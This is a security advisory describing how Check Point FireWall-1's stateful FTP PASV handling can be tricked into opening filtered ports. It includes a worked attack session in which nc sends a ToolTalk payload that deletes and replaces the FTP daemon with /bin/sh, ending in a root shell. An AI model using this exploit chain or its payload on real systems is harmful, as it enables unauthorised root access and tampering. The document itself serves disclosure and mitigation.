fw1-ftp.txt

`FireWall-1 FTP Server Vulnerability  
Background Paper #1, data protect AG  
  
John McDonald <[email protected]>  
Thomas Lopatic <[email protected]>  
  
References  
----------  
  
Please reference the recent vuln-dev posting by Mikael Olsson entitled,  
"Breaking through FTP ALGs -- is it possible?" At the time of this  
writing, it was not yet archived on the security focus web site.  
  
Introduction  
------------  
  
The basic idea of the described attack is to subvert the security  
policy implemented by a stateful firewall. This is done by triggering  
the generation of a TCP packet that, when inspected by the firewall,  
will change the firewall's internal state such that an attacker is  
able to establish a TCP connection to a filtered port through the  
firewall. This packet is the server response to a PASV user request  
during a FTP session.  
  
We have also come across this attack, and were in the process of  
preparing a more comprehensive advisory, including other FireWall-1  
security issues we have documented. The idea was to notify Check Point  
of these problems and give them time to develop a software update.  
However, since the general form of this vulnerability was  
independently documented by Mikael Olsson and published to the  
vuln-dev mailing list, we feel it is appropriate to distribute this  
information now, as it relates specifically to FireWall-1, in order  
to alert potential victims to this issue.  
  
Description  
-----------  
  
Check Point FireWall-1 is vulnerable to an attack involving the  
stateful support for the FTP protocol, specifically the handling of  
the PASV command.  
Typically, a user will send an FTP server the PASV command, and the  
response from the FTP server will be the 227 message specifying to  
which destination IP address and destination port the client is  
expected to connect for the next data connection.  
  
FireWall-1 monitors the packets sent from the FTP server to the  
client, looking for the string "227 " at the beginning of each  
packet. Upon a match, FireWall-1 will extract the destination IP  
address and the destination port given in the packet payload, verify  
that the specified IP address corresponds to the source address of  
the packet, and allow an incoming TCP connection through the  
firewall according to the destination IP address and the destination  
port extracted from the datagram.  
  
There are several restrictions on this connection which limit its  
utility. Data can only travel in one direction and it cannot be to  
a port that is listed in FireWall-1's list of well-known TCP  
services. It is important to note that FireWall-1 version 3 does  
not have this limitation, connections can be made to any port,  
and the flow of data is not managed.  
  
In order to trick FireWall-1 into allowing a connection to a port  
on the FTP server, we must have the server send the "227 " string  
as the first four bytes in a packet that, according to its source  
port, belongs to a FTP control connection. We can typically  
accomplish this by using the error handler of the FTP daemon,  
in conjunction with limiting the MSS of our TCP connection.  
This is easy to do by setting the MTU of our interface to a small  
value we can work with, before we establish a control connection to  
the victim FTP server. This causes the return packets from the  
server to be smaller, allowing us to control more easily how data  
is split into packets. Thus, we can make the "227 " message  
returned by the error handler appear at the beginning of a packet.  
Another way to accomplish this would be to ACK up to the message  
we want to receive, and then have the server retransmit the data  
we want to be contained in an isolated packet.  
  
Here is an example of an attack based on this technique. There is  
a FireWall-1 machine between gumpe and the 172.16.0.2 server, which  
only permits incoming FTP connections. 172.16.0.2 is a default  
Solaris 2.6 install, with the Tooltalk Database vulnerability.  
We send the datagram directly to the service's TCP port, in spite of  
this port being blocked by the firewall. Note that since there is no  
response expected, the one-way restriction doesn't affect this  
attack.  
  
All of our testing was done on a Nokia IPSO machine running FW-1  
version 4.0.SP-4.  
  
[root@gumpe /root]# strings hackfile  
localhost  
""""3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f  
/usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd  
[root@gumpe /root]# /sbin/ifconfig eth0 mtu 100  
[root@gumpe /root]# nc -vvv 172.16.0.2 21  
172.16.0.2: inverse host lookup failed:  
(UNKNOWN) [172.16.0.2] 21 (?) open  
220 sol FTP server (SunOS 5.6) ready.  
...........................................227 (172,16,0,2,128,7)  
500 '...........................................  
[1]+ Stopped nc -vvv 172.16.0.2 21  
[root@gumpe /root]# cat killfile | nc -vv 172.16.0.2 32775  
172.16.0.2: inverse host lookup failed:  
(UNKNOWN) [172.16.0.2] 32775 (?) open  
sent 80, rcvd 0  
[root@gumpe /root]# nc -vvv 172.16.0.2 21  
172.16.0.2: inverse host lookup failed:  
(UNKNOWN) [172.16.0.2] 21 (?) open  
220 sol FTP server (SunOS 5.6) ready.  
...........................................227 (172,16,0,2,128,7)  
500 '...........................................  
[2]+ Stopped nc -vvv 172.16.0.2 21  
[root@gumpe /root]# cat hackfile | nc -vv 172.16.0.2 32775  
172.16.0.2: inverse host lookup failed:  
(UNKNOWN) [172.16.0.2] 32775 (?) open  
sent 1168, rcvd 0  
[root@gumpe /root]# nc -vvv 172.16.0.2 21  
172.16.0.2: inverse host lookup failed:  
(UNKNOWN) [172.16.0.2] 21 (?) open  
id  
uid=0(root) gid=0(root)  
  
There is an easier way to perform a similar attack on this setup, since  
the default Solaris FTP daemon allows a bounce attack, but this should  
suffice to demonstrate the potential severity of this problem.  
  
Summary  
-------  
  
If you have a FTP server behind a FireWall-1, it is possible for an  
attacker to open TCP connections to certain ports on the machine,  
and perform limited communication with those services. If you are  
running FireWall-1 version 3, you should consider your FTP server to  
have no TCP filtering. Solving this problem is inherently difficult,  
but there are simple steps to take to minimize this risk. If the  
machine is properly hardened, i.e. if there are no services available  
on it, apart from FTP, this makes this vulnerability have little  
significance.  
  
You can also disable the PASV handling in the FireWall-1 GUI. However,  
this breaks your configuration for passive FTP clients.  
  
  
`